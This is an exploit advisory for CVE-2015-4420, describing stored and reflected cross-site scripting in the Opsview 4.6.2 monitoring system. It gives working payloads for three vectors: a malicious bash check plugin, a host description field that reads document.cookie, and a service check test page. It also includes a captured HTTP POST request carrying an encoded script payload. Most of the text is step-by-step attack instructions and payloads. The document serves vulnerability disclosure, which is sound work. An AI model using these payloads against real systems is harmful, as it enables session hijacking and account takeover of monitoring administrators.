Opsview 4.6.2 – Multiple Cross-Site Scripting Vulnerabilities
# Exploit title: Opsview 4.6.2 - Multiple XSS # Date: 07-06-2015 # Vendor homepage: www.opsview.com # Version: 4.6.2 # CVE: CVE-2015-4420 # Author: Dolev Farhi @dolevf # Tested On: Kali Linux + Windows 7 # Details: # -------- # Opsview is a monitoring system based on Nagios Core. Opsview is prone to several stored and reflected XSS vulnerabilities in the latest version 1. Stored XSS through a malicious check plugin a. Create a plugin with the following content: #!/bin/bash echo '<script>alert("script0t0s")</script>' exit 2 b. create a new check and assign this plugin. c. once a host uses this check, navigate to the event page, the XSS will be injected. d. once a user/admin acknowledges this critical event (exit 2), the code will be injected prior his acknowledgement. 2. Stored XSS in host profile a. add a host b. in the description of the host, add a description as the one below: <script>alert(document.cookie)</script> c. save settings d. once a user/admin views the host settings, XSS will be injected. 3. Reflected XSS in Test service check page. a. Add a new service check b. Test the new service check against any host and provide in the command line the following <script>alert("test")</script> c. the XSS will immediately reflect to the screen. response output: POST /state/service/166/exec HTTP/1.1 Host: 192.168.0.20 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.4.0 Accept: text/plain, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://192.168.0.20/status/service?host_state=0&host_filter=handled&host=opsview Content-Length: 105 Cookie: PHPSESSID= auth_tkt= Connection: keep-alive Pragma: no-cache Cache-Control: no-cache plugin_args=%3Cscript%3Ealert(%22opsview%22)%3C%2Fscript%3E&_CSRFToken=0x84BCDAD00D5111E5988CB34E7AFD915 |